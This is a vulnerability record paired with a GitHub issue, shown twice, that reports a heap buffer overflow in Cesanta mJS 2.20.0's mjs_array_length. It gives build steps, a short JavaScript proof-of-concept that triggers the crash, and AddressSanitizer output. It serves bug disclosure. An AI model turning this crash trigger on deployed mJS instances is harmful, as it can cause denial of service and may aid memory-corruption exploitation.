Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_array_length at src/mjs_array.c.
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)





###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(function () {
  ((function JSEtes(a) {
    if ((a - 1)) {
      if ((isNaN)(JSON.stringify([])) !== JSON.stringify("start_port" !== [Object.create.apply({}, [Object])])) {
        JSEtes(a - 1)
      }
    }
  })(6))
})()
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
=================================================================
==109503==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000000150 at pc 0x55d8ef005f6d bp 0x7ffe7d357b00 sp 0x7ffe7d357af0
READ of size 8 at 0x607000000150 thread T0
    #0 0x55d8ef005f6c in mjs_array_length src/mjs_array.c:83
    #1 0x55d8ef005f6c in mjs_array_push src/mjs_array.c:115
    #2 0x55d8ef027dd8 in mjs_execute src/mjs_exec.c:679
    #3 0x55d8ef034a05 in mjs_exec_internal src/mjs_exec.c:1073
    #4 0x55d8ef034a05 in mjs_exec_file src/mjs_exec.c:1096
    #5 0x55d8eeff1909 in main src/mjs_main.c:47
    #6 0x7f6cb8331b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x55d8eeff2449 in _start (/usr/local/bin/Gmjs+0xe449)

0x607000000150 is located 0 bytes to the right of 80-byte region [0x607000000100,0x607000000150)
allocated by thread T0 here:
    #0 0x7f6cb89e3d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55d8ef0527be in gc_new_block src/mjs_gc.c:94
    #2 0x55d8ef0527be in gc_alloc_cell src/mjs_gc.c:133
    #3 0x55d8ef0527be in new_object src/mjs_gc.c:45

SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length
Shadow bytes around the buggy address:
  0x0c0e7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x0c0e7fff8010: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
=>0x0c0e7fff8020: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa
  0x0c0e7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
```


Heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : Heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)





###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(function () {
  ((function JSEtes(a) {
    if ((a - 1)) {
      if ((isNaN)(JSON.stringify([])) !== JSON.stringify("start_port" !== [Object.create.apply({}, [Object])])) {
        JSEtes(a - 1)
      }
    }
  })(6))
})()
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
=================================================================
==109503==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000000150 at pc 0x55d8ef005f6d bp 0x7ffe7d357b00 sp 0x7ffe7d357af0
READ of size 8 at 0x607000000150 thread T0
    #0 0x55d8ef005f6c in mjs_array_length src/mjs_array.c:83
    #1 0x55d8ef005f6c in mjs_array_push src/mjs_array.c:115
    #2 0x55d8ef027dd8 in mjs_execute src/mjs_exec.c:679
    #3 0x55d8ef034a05 in mjs_exec_internal src/mjs_exec.c:1073
    #4 0x55d8ef034a05 in mjs_exec_file src/mjs_exec.c:1096
    #5 0x55d8eeff1909 in main src/mjs_main.c:47
    #6 0x7f6cb8331b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x55d8eeff2449 in _start (/usr/local/bin/Gmjs+0xe449)

0x607000000150 is located 0 bytes to the right of 80-byte region [0x607000000100,0x607000000150)
allocated by thread T0 here:
    #0 0x7f6cb89e3d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55d8ef0527be in gc_new_block src/mjs_gc.c:94
    #2 0x55d8ef0527be in gc_alloc_cell src/mjs_gc.c:133
    #3 0x55d8ef0527be in new_object src/mjs_gc.c:45

SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length
Shadow bytes around the buggy address:
  0x0c0e7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x0c0e7fff8010: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
=>0x0c0e7fff8020: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa
  0x0c0e7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
```


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